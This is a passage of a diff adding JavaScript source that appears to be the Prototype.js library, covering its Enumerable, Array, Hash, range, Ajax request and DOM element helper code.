+      value = iterator(value, index);
+      if (result == undefined || value >= result)
+        result = value;
+    });
+    return result;
+  },
+
+  min: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result;
+    this.each(function(value, index) {
+      value = iterator(value, index);
+      if (result == undefined || value < result)
+        result = value;
+    });
+    return result;
+  },
+
+  partition: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var trues = [], falses = [];
+    this.each(function(value, index) {
+      (iterator(value, index) ?
+        trues : falses).push(value);
+    });
+    return [trues, falses];
+  },
+
+  pluck: function(property) {
+    var results = [];
+    this.each(function(value) {
+      results.push(value[property]);
+    });
+    return results;
+  },
+
+  reject: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var results = [];
+    this.each(function(value, index) {
+      if (!iterator(value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  sortBy: function(iterator, context) {
+    iterator = iterator.bind(context);
+    return this.map(function(value, index) {
+      return {value: value, criteria: iterator(value, index)};
+    }).sort(function(left, right) {
+      var a = left.criteria, b = right.criteria;
+      return a < b ? -1 : a > b ? 1 : 0;
+    }).pluck('value');
+  },
+
+  toArray: function() {
+    return this.map();
+  },
+
+  zip: function() {
+    var iterator = Prototype.K, args = $A(arguments);
+    if (Object.isFunction(args.last()))
+      iterator = args.pop();
+
+    var collections = [this].concat(args).map($A);
+    return this.map(function(value, index) {
+      return iterator(collections.pluck(index));
+    });
+  },
+
+  size: function() {
+    return this.toArray().length;
+  },
+
+  inspect: function() {
+    return '#<Enumerable:' + this.toArray().inspect() + '>';
+  }
+};
+
+Object.extend(Enumerable, {
+  map:     Enumerable.collect,
+  find:    Enumerable.detect,
+  select:  Enumerable.findAll,
+  filter:  Enumerable.findAll,
+  member:  Enumerable.include,
+  entries: Enumerable.toArray,
+  every:   Enumerable.all,
+  some:    Enumerable.any
+});
+function $A(iterable) {
+  if (!iterable) return [];
+  if (iterable.toArray) return iterable.toArray();
+  var length = iterable.length, results = new Array(length);
+  while (length--) results[length] = iterable[length];
+  return results;
+}
+
+if (Prototype.Browser.WebKit) {
+  function $A(iterable) {
+    if (!iterable) return [];
+    if (!(Object.isFunction(iterable) && iterable == '[object NodeList]') &&
+        iterable.toArray) return iterable.toArray();
+    var length = iterable.length, results = new Array(length);
+    while (length--) results[length] = iterable[length];
+    return results;
+  }
+}
+
+Array.from = $A;
+
+Object.extend(Array.prototype, Enumerable);
+
+if (!Array.prototype._reverse) Array.prototype._reverse = Array.prototype.reverse;
+
+Object.extend(Array.prototype, {
+  _each: function(iterator) {
+    for (var i = 0, length = this.length; i < length; i++)
+      iterator(this[i]);
+  },
+
+  clear: function() {
+    this.length = 0;
+    return this;
+  },
+
+  first: function() {
+    return this[0];
+  },
+
+  last: function() {
+    return this[this.length - 1];
+  },
+
+  compact: function() {
+    return this.select(function(value) {
+      return value != null;
+    });
+  },
+
+  flatten: function() {
+    return this.inject([], function(array, value) {
+      return array.concat(Object.isArray(value) ?
+        value.flatten() : [value]);
+    });
+  },
+
+  without: function() {
+    var values = $A(arguments);
+    return this.select(function(value) {
+      return !values.include(value);
+    });
+  },
+
+  reverse: function(inline) {
+    return (inline !== false ? this : this.toArray())._reverse();
+  },
+
+  reduce: function() {
+    return this.length > 1 ? this : this[0];
+  },
+
+  uniq: function(sorted) {
+    return this.inject([], function(array, value, index) {
+      if (0 == index || (sorted ? array.last() != value : !array.include(value)))
+        array.push(value);
+      return array;
+    });
+  },
+
+  intersect: function(array) {
+    return this.uniq().findAll(function(item) {
+      return array.detect(function(value) { return item === value });
+    });
+  },
+
+  clone: function() {
+    return [].concat(this);
+  },
+
+  size: function() {
+    return this.length;
+  },
+
+  inspect: function() {
+    return '[' + this.map(Object.inspect).join(', ') + ']';
+  },
+
+  toJSON: function() {
+    var results = [];
+    this.each(function(object) {
+      var value = Object.toJSON(object);
+      if (value !== undefined) results.push(value);
+    });
+    return '[' + results.join(', ') + ']';
+  }
+});
+
+// use native browser JS 1.6 implementation if available
+if (Object.isFunction(Array.prototype.forEach))
+  Array.prototype._each = Array.prototype.forEach;
+
+if (!Array.prototype.indexOf) Array.prototype.indexOf = function(item, i) {
+  i || (i = 0);
+  var length = this.length;
+  if (i < 0) i = length + i;
+  for (; i < length; i++)
+    if (this[i] === item) return i;
+  return -1;
+};
+
+if (!Array.prototype.lastIndexOf) Array.prototype.lastIndexOf = function(item, i) {
+  i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
+  var n = this.slice(0, i).reverse().indexOf(item);
+  return (n < 0) ? n : i - n - 1;
+};
+
+Array.prototype.toArray = Array.prototype.clone;
+
+function $w(string) {
+  if (!Object.isString(string)) return [];
+  string = string.strip();
+  return string ? string.split(/\s+/) : [];
+}
+
+if (Prototype.Browser.Opera){
+  Array.prototype.concat = function() {
+    var array = [];
+    for (var i = 0, length = this.length; i < length; i++) array.push(this[i]);
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      if (Object.isArray(arguments[i])) {
+        for (var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++)
+          array.push(arguments[i][j]);
+      } else {
+        array.push(arguments[i]);
+      }
+    }
+    return array;
+  };
+}
+Object.extend(Number.prototype, {
+  toColorPart: function() {
+    return this.toPaddedString(2, 16);
+  },
+
+  succ: function() {
+    return this + 1;
+  },
+
+  times: function(iterator) {
+    $R(0, this, true).each(iterator);
+    return this;
+  },
+
+  toPaddedString: function(length, radix) {
+    var string = this.toString(radix || 10);
+    return '0'.times(length - string.length) + string;
+  },
+
+  toJSON: function() {
+    return isFinite(this) ? this.toString() : 'null';
+  }
+});
+
+$w('abs round ceil floor').each(function(method){
+  Number.prototype[method] = Math[method].methodize();
+});
+function $H(object) {
+  return new Hash(object);
+};
+
+var Hash = Class.create(Enumerable, (function() {
+  if (function() {
+    var i = 0, Test = function(value) { this.key = value };
+    Test.prototype.key = 'foo';
+    for (var property in new Test('bar')) i++;
+    return i > 1;
+  }()) {
+    function each(iterator) {
+      var cache = [];
+      for (var key in this._object) {
+        var value = this._object[key];
+        if (cache.include(key)) continue;
+        cache.push(key);
+        var pair = [key, value];
+        pair.key = key;
+        pair.value = value;
+        iterator(pair);
+      }
+    }
+  } else {
+    function each(iterator) {
+      for (var key in this._object) {
+        var value = this._object[key], pair = [key, value];
+        pair.key = key;
+        pair.value = value;
+        iterator(pair);
+      }
+    }
+  }
+
+  function toQueryPair(key, value) {
+    if (Object.isUndefined(value)) return key;
+    return key + '=' + encodeURIComponent(String.interpret(value));
+  }
+
+  return {
+    initialize: function(object) {
+      this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
+    },
+
+    _each: each,
+
+    set: function(key, value) {
+      return this._object[key] = value;
+    },
+
+    get: function(key) {
+      return this._object[key];
+    },
+
+    unset: function(key) {
+      var value = this._object[key];
+      delete this._object[key];
+      return value;
+    },
+
+    toObject: function() {
+      return Object.clone(this._object);
+    },
+
+    keys: function() {
+      return this.pluck('key');
+    },
+
+    values: function() {
+      return this.pluck('value');
+    },
+
+    index: function(value) {
+      var match = this.detect(function(pair) {
+        return pair.value === value;
+      });
+      return match && match.key;
+    },
+
+    merge: function(object) {
+      return this.clone().update(object);
+    },
+
+    update: function(object) {
+      return new Hash(object).inject(this, function(result, pair) {
+        result.set(pair.key, pair.value);
+        return result;
+      });
+    },
+
+    toQueryString: function() {
+      return this.map(function(pair) {
+        var key = encodeURIComponent(pair.key), values = pair.value;
+
+        if (values && typeof values == 'object') {
+          if (Object.isArray(values))
+            return values.map(toQueryPair.curry(key)).join('&');
+        }
+        return toQueryPair(key, values);
+      }).join('&');
+    },
+
+    inspect: function() {
+      return '#<Hash:{' + this.map(function(pair) {
+        return pair.map(Object.inspect).join(': ');
+      }).join(', ') + '}>';
+    },
+
+    toJSON: function() {
+      return Object.toJSON(this.toObject());
+    },
+
+    clone: function() {
+      return new Hash(this);
+    }
+  }
+})());
+
+Hash.prototype.toTemplateReplacements = Hash.prototype.toObject;
+Hash.from = $H;
+var ObjectRange = Class.create(Enumerable, {
+  initialize: function(start, end, exclusive) {
+    this.start = start;
+    this.end = end;
+    this.exclusive = exclusive;
+  },
+
+  _each: function(iterator) {
+    var value = this.start;
+    while (this.include(value)) {
+      iterator(value);
+      value = value.succ();
+    }
+  },
+
+  include: function(value) {
+    if (value < this.start)
+      return false;
+    if (this.exclusive)
+      return value < this.end;
+    return value <= this.end;
+  }
+});
+
+var $R = function(start, end, exclusive) {
+  return new ObjectRange(start, end, exclusive);
+};
+
+var Ajax = {
+  getTransport: function() {
+    return Try.these(
+      function() {return new XMLHttpRequest()},
+      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
+      function() {return new ActiveXObject('Microsoft.XMLHTTP')}
+    ) || false;
+  },
+
+  activeRequestCount: 0
+};
+
+Ajax.Responders = {
+  responders: [],
+
+  _each: function(iterator) {
+    this.responders._each(iterator);
+  },
+
+  register: function(responder) {
+    if (!this.include(responder))
+      this.responders.push(responder);
+  },
+
+  unregister: function(responder) {
+    this.responders = this.responders.without(responder);
+  },
+
+  dispatch: function(callback, request, transport, json) {
+    this.each(function(responder) {
+      if (Object.isFunction(responder[callback])) {
+        try {
+          responder[callback].apply(responder, [request, transport, json]);
+        } catch (e) { }
+      }
+    });
+  }
+};
+
+Object.extend(Ajax.Responders, Enumerable);
+
+Ajax.Responders.register({
+  onCreate:   function() { Ajax.activeRequestCount++ },
+  onComplete: function() { Ajax.activeRequestCount-- }
+});
+
+Ajax.Base = Class.create({
+  initialize: function(options) {
+    this.options = {
+      method:       'post',
+      asynchronous: true,
+      contentType:  'application/x-www-form-urlencoded',
+      encoding:     'UTF-8',
+      parameters:   '',
+      evalJSON:     true,
+      evalJS:       true
+    };
+    Object.extend(this.options, options || { });
+
+    this.options.method = this.options.method.toLowerCase();
+    if (Object.isString(this.options.parameters))
+      this.options.parameters = this.options.parameters.toQueryParams();
+  }
+});
+
+Ajax.Request = Class.create(Ajax.Base, {
+  _complete: false,
+
+  initialize: function($super, url, options) {
+    $super(options);
+    this.transport = Ajax.getTransport();
+    this.request(url);
+  },
+
+  request: function(url) {
+    this.url = url;
+    this.method = this.options.method;
+    var params = Object.clone(this.options.parameters);
+
+    if (!['get', 'post'].include(this.method)) {
+      // simulate other verbs over post
+      params['_method'] = this.method;
+      this.method = 'post';
+    }
+
+    this.parameters = params;
+
+    if (params = Object.toQueryString(params)) {
+      // when GET, append parameters to URL
+      if (this.method == 'get')
+        this.url += (this.url.include('?') ? '&' : '?') + params;
+      else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent))
+        params += '&_=';
+    }
+
+    try {
+      var response = new Ajax.Response(this);
+      if (this.options.onCreate) this.options.onCreate(response);
+      Ajax.Responders.dispatch('onCreate', this, response);
+
+      this.transport.open(this.method.toUpperCase(), this.url,
+        this.options.asynchronous);
+
+      if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);
+
+      this.transport.onreadystatechange = this.onStateChange.bind(this);
+      this.setRequestHeaders();
+
+      this.body = this.method == 'post' ? (this.options.postBody || params) : null;
+      this.transport.send(this.body);
+
+      /* Force Firefox to handle ready state 4 for synchronous requests */
+      if (!this.options.asynchronous && this.transport.overrideMimeType)
+        this.onStateChange();
+
+    }
+    catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  onStateChange: function() {
+    var readyState = this.transport.readyState;
+    if (readyState > 1 && !((readyState == 4) && this._complete))
+      this.respondToReadyState(this.transport.readyState);
+  },
+
+  setRequestHeaders: function() {
+    var headers = {
+      'X-Requested-With': 'XMLHttpRequest',
+      'X-Prototype-Version': Prototype.Version,
+      'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
+    };
+
+    if (this.method == 'post') {
+      headers['Content-type'] = this.options.contentType +
+        (this.options.encoding ? '; charset=' + this.options.encoding : '');
+
+      /* Force "Connection: close" for older Mozilla browsers to work
+       * around a bug where XMLHttpRequest sends an incorrect
+       * Content-length header. See Mozilla Bugzilla #246651.
+       */
+      if (this.transport.overrideMimeType &&
+          (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
+            headers['Connection'] = 'close';
+    }
+
+    // user-defined headers
+    if (typeof this.options.requestHeaders == 'object') {
+      var extras = this.options.requestHeaders;
+
+      if (Object.isFunction(extras.push))
+        for (var i = 0, length = extras.length; i < length; i += 2)
+          headers[extras[i]] = extras[i+1];
+      else
+        $H(extras).each(function(pair) { headers[pair.key] = pair.value });
+    }
+
+    for (var name in headers)
+      this.transport.setRequestHeader(name, headers[name]);
+  },
+
+  success: function() {
+    var status = this.getStatus();
+    return !status || (status >= 200 && status < 300);
+  },
+
+  getStatus: function() {
+    try {
+      return this.transport.status || 0;
+    } catch (e) { return 0 }
+  },
+
+  respondToReadyState: function(readyState) {
+    var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);
+
+    if (state == 'Complete') {
+      try {
+        this._complete = true;
+        (this.options['on' + response.status]
+         || this.options['on' + (this.success() ? 'Success' : 'Failure')]
+         || Prototype.emptyFunction)(response, response.headerJSON);
+      } catch (e) {
+        this.dispatchException(e);
+      }
+
+      var contentType = response.getHeader('Content-type');
+      if (this.options.evalJS == 'force'
+          || (this.options.evalJS && contentType
+          && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
+        this.evalResponse();
+    }
+
+    try {
+      (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
+      Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
+    } catch (e) {
+      this.dispatchException(e);
+    }
+
+    if (state == 'Complete') {
+      // avoid memory leak in MSIE: clean up
+      this.transport.onreadystatechange = Prototype.emptyFunction;
+    }
+  },
+
+  getHeader: function(name) {
+    try {
+      return this.transport.getResponseHeader(name);
+    } catch (e) { return null }
+  },
+
+  evalResponse: function() {
+    try {
+      return eval((this.transport.responseText || '').unfilterJSON());
+    } catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  dispatchException: function(exception) {
+    (this.options.onException || Prototype.emptyFunction)(this, exception);
+    Ajax.Responders.dispatch('onException', this, exception);
+  }
+});
+
+Ajax.Request.Events =
+  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
+
+Ajax.Response = Class.create({
+  initialize: function(request){
+    this.request = request;
+    var transport  = this.transport  = request.transport,
+        readyState = this.readyState = transport.readyState;
+
+    if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
+      this.status       = this.getStatus();
+      this.statusText   = this.getStatusText();
+      this.responseText = String.interpret(transport.responseText);
+      this.headerJSON   = this._getHeaderJSON();
+    }
+
+    if(readyState == 4) {
+      var xml = transport.responseXML;
+      this.responseXML  = xml === undefined ? null : xml;
+      this.responseJSON = this._getResponseJSON();
+    }
+  },
+
+  status:      0,
+  statusText: '',
+
+  getStatus: Ajax.Request.prototype.getStatus,
+
+  getStatusText: function() {
+    try {
+      return this.transport.statusText || '';
+    } catch (e) { return '' }
+  },
+
+  getHeader: Ajax.Request.prototype.getHeader,
+
+  getAllHeaders: function() {
+    try {
+      return this.getAllResponseHeaders();
+    } catch (e) { return null }
+  },
+
+  getResponseHeader: function(name) {
+    return this.transport.getResponseHeader(name);
+  },
+
+  getAllResponseHeaders: function() {
+    return this.transport.getAllResponseHeaders();
+  },
+
+  _getHeaderJSON: function() {
+    var json = this.getHeader('X-JSON');
+    if (!json) return null;
+    json = decodeURIComponent(escape(json));
+    try {
+      return json.evalJSON(this.request.options.sanitizeJSON);
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  },
+
+  _getResponseJSON: function() {
+    var options = this.request.options;
+    if (!options.evalJSON || (options.evalJSON != 'force' &&
+      !(this.getHeader('Content-type') || '').include('application/json')))
+        return null;
+    try {
+      return this.transport.responseText.evalJSON(options.sanitizeJSON);
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  }
+});
+
+Ajax.Updater = Class.create(Ajax.Request, {
+  initialize: function($super, container, url, options) {
+    this.container = {
+      success: (container.success || container),
+      failure: (container.failure || (container.success ? null : container))
+    };
+
+    options = options || { };
+    var onComplete = options.onComplete;
+    options.onComplete = (function(response, param) {
+      this.updateContent(response.responseText);
+      if (Object.isFunction(onComplete)) onComplete(response, param);
+    }).bind(this);
+
+    $super(url, options);
+  },
+
+  updateContent: function(responseText) {
+    var receiver = this.container[this.success() ? 'success' : 'failure'],
+        options = this.options;
+
+    if (!options.evalScripts) responseText = responseText.stripScripts();
+
+    if (receiver = $(receiver)) {
+      if (options.insertion) {
+        if (Object.isString(options.insertion)) {
+          var insertion = { }; insertion[options.insertion] = responseText;
+          receiver.insert(insertion);
+        }
+        else options.insertion(receiver, responseText);
+      }
+      else receiver.update(responseText);
+    }
+
+    if (this.success()) {
+      if (this.onComplete) this.onComplete.bind(this).defer();
+    }
+  }
+});
+
+Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
+  initialize: function($super, container, url, options) {
+    $super(options);
+    this.onComplete = this.options.onComplete;
+
+    this.frequency = (this.options.frequency || 2);
+    this.decay = (this.options.decay || 1);
+
+    this.updater = { };
+    this.container = container;
+    this.url = url;
+
+    this.start();
+  },
+
+  start: function() {
+    this.options.onComplete = this.updateComplete.bind(this);
+    this.onTimerEvent();
+  },
+
+  stop: function() {
+    this.updater.options.onComplete = undefined;
+    clearTimeout(this.timer);
+    (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
+  },
+
+  updateComplete: function(response) {
+    if (this.options.decay) {
+      this.decay = (response.responseText == this.lastText ?
+        this.decay * this.options.decay : 1);
+
+      this.lastText = response.responseText;
+    }
+    this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
+  },
+
+  onTimerEvent: function() {
+    this.updater = new Ajax.Updater(this.container, this.url, this.options);
+  }
+});
+function $(element) {
+  if (arguments.length > 1) {
+    for (var i = 0, elements = [], length = arguments.length; i < length; i++)
+      elements.push($(arguments[i]));
+    return elements;
+  }
+  if (Object.isString(element))
+    element = document.getElementById(element);
+  return Element.extend(element);
+}
+
+if (Prototype.BrowserFeatures.XPath) {
+  document._getElementsByXPath = function(expression, parentElement) {
+    var results = [];
+    var query = document.evaluate(expression, $(parentElement) || document,
+      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+    for (var i = 0, length = query.snapshotLength; i < length; i++)
+      results.push(Element.extend(query.snapshotItem(i)));
+    return results;
+  };
+}
+
+/*--------------------------------------------------------------------------*/
+
+if (!window.Node) var Node = { };
+
+if (!Node.ELEMENT_NODE) {
+  // DOM level 2 ECMAScript Language Binding
+  Object.extend(Node, {
+    ELEMENT_NODE: 1,
+    ATTRIBUTE_NODE: 2,
+    TEXT_NODE: 3,
+    CDATA_SECTION_NODE: 4,
+    ENTITY_REFERENCE_NODE: 5,
+    ENTITY_NODE: 6,
+    PROCESSING_INSTRUCTION_NODE: 7,
+    COMMENT_NODE: 8,
+    DOCUMENT_NODE: 9,
+    DOCUMENT_TYPE_NODE: 10,
+    DOCUMENT_FRAGMENT_NODE: 11,
+    NOTATION_NODE: 12
+  });
+}
+
+(function() {
+  var element = this.Element;
+  this.Element = function(tagName, attributes) {
+    attributes = attributes || { };
+    tagName = tagName.toLowerCase();
+    var cache = Element.cache;
+    if (Prototype.Browser.IE && attributes.name) {
+      tagName = '<' + tagName + ' name="' + attributes.name + '">';
+      delete attributes.name;
+      return Element.writeAttribute(document.createElement(tagName), attributes);
+    }
+    if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));
+    return Element.writeAttribute(cache[tagName].cloneNode(false), attributes);
+  };
+  Object.extend(this.Element, element || { });
+}).call(window);
+
+Element.cache = { };
+
+Element.Methods = {
+  visible: function(element) {
+    return $(element).style.display != 'none';
+  },
+
+  toggle: function(element) {
+    element = $(element);
+    Element[Element.visible(element) ? 'hide' : 'show'](element);
+    return element;
+  },
+
+  hide: function(element) {
+    $(element).style.display = 'none';
+    return element;
+  },
+
+  show: function(element) {
+    $(element).style.display = '';
+    return element;
+  },
+
+  remove: function(element) {
+    element = $(element);
+    element.parentNode.removeChild(element);
+    return element;
+  },
+
+  update: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+    content = Object.toHTML(content);
+    element.innerHTML = content.stripScripts();
+    content.evalScripts.bind(content).defer();
+    return element;
+  },
+
+  replace: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    else if (!Object.isElement(content)) {
+      content = Object.toHTML(content);
+      var range = element.ownerDocument.createRange();
+      range.selectNode(element);
+      content.evalScripts.bind(content).defer();
+      content = range.createContextualFragment(content.stripScripts());
+    }
+    element.parentNode.replaceChild(content, element);
+    return element;
+  },
+
+  insert: function(element, insertions) {
+    element = $(element);
+
+    if (Object.isString(insertions) || Object.isNumber(insertions) ||
+        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
+          insertions = {bottom:insertions};
+
+    var content, t, range;
+
+    for (position in insertions) {
+      content  = insertions[position];
+      position = position.toLowerCase();
+      t = Element._insertionTranslations[position];
+
+      if (content && content.toElement) content = content.toElement();
+      if (Object.isElement(content)) {
+        t.insert(element, content);
+        continue;
+      }
+
+      content = Object.toHTML(content);
+
+      range = element.ownerDocument.createRange();
+      t.initializeRange(element, range);
+      t.insert(element, range.createContextualFragment(content.stripScripts()));
+
+      content.evalScripts.bind(content).defer();
+    }
+
+    return element;
+  },
+
+  wrap: function(element, wrapper, attributes) {
+    element = $(element);
+    if (Object.isElement(wrapper))
+      $(wrapper).writeAttribute(attributes || { });
+    else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
+    else wrapper = new Element('div', wrapper);
+    if (element.parentNode)
+      element.parentNode.replaceChild(wrapper, element);
+    wrapper.appendChild(element);
+    return wrapper;
+  },
+
+  inspect: function(element) {
+    element = $(element);
+    var result = '<' + element.tagName.toLowerCase();
+    $H({'id': 'id', 'className': 'class'}).each(function(pair) {
+      var property = pair.first(), attribute = pair.last();
+      var value = (element[property] || '').toString();
+      if (value) result += ' ' + attribute + '=' + value.inspect(true);
+    });
+    return result + '>';
+  },
+
+  recursivelyCollect: function(element, property) {
+    element = $(element);
+    var elements = [];
+    while (element = element[property])
+      if (element.nodeType == 1)
+        elements.push(Element.extend(element));
+    return elements;
+  },
+
+  ancestors: function(element) {
+    return $(element).recursivelyCollect('parentNode');
+  },
+
+  descendants: function(element) {
+    return $A($(element).getElementsByTagName('*')).each(Element.extend);
+  },
+
+  firstDescendant: function(element) {
+    element = $(element).firstChild;
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    return $(element);
+  },
+
+  immediateDescendants: function(element) {
+    if (!(element = $(element).firstChild)) return [];
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    if (element) return [element].concat($(element).nextSiblings());
+    return [];
+  },
+
+  previousSiblings: function(element) {
+    return $(element).recursivelyCollect('previousSibling');
+  },
+
+  nextSiblings: function(element) {
+    return $(element).recursivelyCollect('nextSibling');
+  },
+
+  siblings: function(element) {
+    element = $(element);
+    return element.previousSiblings().reverse().concat(element.nextSiblings());
+  },
+
+  match: function(element, selector) {
+    if (Object.isString(selector))
+      selector = new Selector(selector);
+    return selector.match($(element));
+  },
+
+  up: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(element.parentNode);
+    var ancestors = element.ancestors();
+    return expression ? Selector.findElement(ancestors, expression, index) :
+      ancestors[index || 0];
+  },
+
+  down: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return element.firstDescendant();
+    var descendants = element.descendants();
+    return expression ? Selector.findElement(descendants, expression, index) :
+      descendants[index || 0];
+  },
+
+  previous: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element));
+    var previousSiblings = element.previousSiblings();
+    return expression ? Selector.findElement(previousSiblings, expression, index) :
+      previousSiblings[index || 0];
+  },
+
+  next: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element));
+    var nextSiblings = element.nextSiblings();
+    return expression ? Selector.findElement(nextSiblings, expression, index) :
+      nextSiblings[index || 0];
+  },
+
+  select: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element, args);
+  },
+
+  adjacent: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element.parentNode, args).without(element);
+  },
+
+  identify: function(element) {
+    element = $(element);
+    var id = element.readAttribute('id'), self = arguments.callee;
+    if (id) return id;
+    do { id = 'anonymous_element_' + self.counter++ } while ($(id));
+    element.writeAttribute('id', id);
+    return id;
+  },
+
+  readAttribute: function(element, name) {
+    element = $(element);
+    if (Prototype.Browser.IE) {
+      var t = Element._attributeTranslations.read;
+      if (t.values[name]) return t.values[name](element, name);
+      if (t.names[name]) name = t.names[name];
+      if (name.include(':')) {
+        return (!element.attributes || !element.attributes[name]) ? null :
+         element.attributes[name].value;
+      }
+    }
+    return element.getAttribute(name);
+  },
+
+  writeAttribute: function(element, name, value) {
+    element = $(element);
+    var attributes = { }, t = Element._attributeTranslations.write;
+
+    if (typeof name == 'object') attributes = name;
+    else attributes[name] = value === undefined ? true : value;
+
+    for (var attr in attributes) {
+      var name = t.names[attr] || attr, value = attributes[attr];
+      if (t.values[attr]) name = t.values[attr](element, value);
+      if (value === false || value === null)
+        element.removeAttribute(name);
+      else if (value === true)
+        element.setAttribute(name, name);
+      else element.setAttribute(name, value);
+    }
+    return element;
+  },
+
+  getHeight: function(element) {
+    return $(element).getDimensions().height;
+  },
+
+  getWidth: function(element) {
+    return $(element).getDimensions().width;
+  },
+
+  classNames: function(element) {
+    return new Element.ClassNames(element);
+  },
+
+  hasClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    var elementClassName = element.className;
+    return (elementClassName.length > 0 && (elementClassName == className ||
+      new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
+  },
+
+  addClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    if (!element.hasClassName(className))
+      element.className += (element.className ? ' ' : '') + className;
+    return element;
+  },
+
+  removeClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    element.className = element.className.replace(
+      new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
+    return element;
+  },
+
+  toggleClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    return element[element.hasClassName(className) ?
+      'removeClassName' : 'addClassName'](className);
+  },
+
+  // removes whitespace-only text node children
+  cleanWhitespace: function(element) {
+    element = $(element);
+    var node = element.firstChild;
+    while (node) {
+      var nextNode = node.nextSibling;
+      if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
+        element.removeChild(node);
+      node = nextNode;
+    }
+    return element;
+  },
+
+  empty: function(element) {
+    return $(element).innerHTML.blank();
+  },
+
+  descendantOf: function(element, ancestor) {
+    element = $(element), ancestor = $(ancestor);
+
+    if (element.compareDocumentPosition)
+      return (element.compareDocumentPosition(ancestor) & 8) === 8;
+
+    if (element.sourceIndex && !Prototype.Browser.Opera) {
+      var e = element.sourceIndex, a = ancestor.sourceIndex,
+       nextAncestor = ancestor.nextSibling;
+      if (!nextAncestor) {
+        do { ancestor = ancestor.parentNode; }
+        while (!(nextAncestor = ancestor.nextSibling) && ancestor.parentNode);
+      }
+      if (nextAncestor) return (e > a && e < nextAncestor.sourceIndex);
+    }
+
+    while (element = element.parentNode)
+      if (element == ancestor) return true;
+    return false;
+  },
+
+  scrollTo: function(element) {
+    element = $(element);
+    var pos = element.cumulativeOffset();
+    window.scrollTo(pos[0], pos[1]);
+    return element;
+  },
+
+  getStyle: function(element, style) {
+    element = $(element);
+    style = style == 'float' ? 'cssFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value) {
+      var css = document.defaultView.getComputedStyle(element, null);
+      value = css ? css[style] : null;
+    }
+    if (style == 'opacity') return value ? parseFloat(value) : 1.0;
+    return value == 'auto' ? null : value;
+  },
+
+  getOpacity: function(element) {
+    return $(element).getStyle('opacity');
+  },
+
+  setStyle: function(element, styles) {
+    element = $(element);
+    var elementStyle = element.style, match;
+    if (Object.isString(styles)) {
+      element.style.cssText += ';' + styles;
+      return styles.include('opacity') ?
+        element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
+    }
+    for (var property in styles)
+      if (property == 'opacity') element.setOpacity(styles[property]);
+      else
+        elementStyle[(property == 'float' || property == 'cssFloat') ?
+          (elementStyle.styleFloat === undefined ? 'cssFloat' : 'styleFloat') :
+            property] = styles[property];
+
+    return element;
+  },
+
+  setOpacity: function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+    return element;
+  },
+
+  getDimensions: function(element) {
+    element = $(element);
+    var display = $(element).getStyle('display');
+    if (display != 'none' && display != null) // Safari bug
+      return {width: element.offsetWidth, height: element.offsetHeight};
+
+    // All *Width and *Height properties give 0 on elements with display none,
+    // so enable the element temporarily
+    var els = element.style;
+    var originalVisibility = els.visibility;
+    var originalPosition = els.position;
+    var originalDisplay = els.display;
+    els.visibility = 'hidden';
+    els.position = 'absolute';
+    els.display = 'block';
+    var originalWidth = element.clientWidth;
+    var originalHeight = element.clientHeight;
+    els.display = originalDisplay;
+    els.position = originalPosition;
+    els.visibility = originalVisibility;
+    return {width: originalWidth, height: originalHeight};
+  },
+
+  makePositioned: function(element) {
+    element = $(element);
+    var pos = Element.getStyle(element, 'position');
+    if (pos == 'static' || !pos) {
+      element._madePositioned = true;
+      element.style.position = 'relative';
+      // Opera returns the offset relative to the positioning context, when an
+      // element is position relative but top and left have not been defined
+      if (window.opera) {
+        element.style.top = 0;
+        element.style.left = 0;
+      }
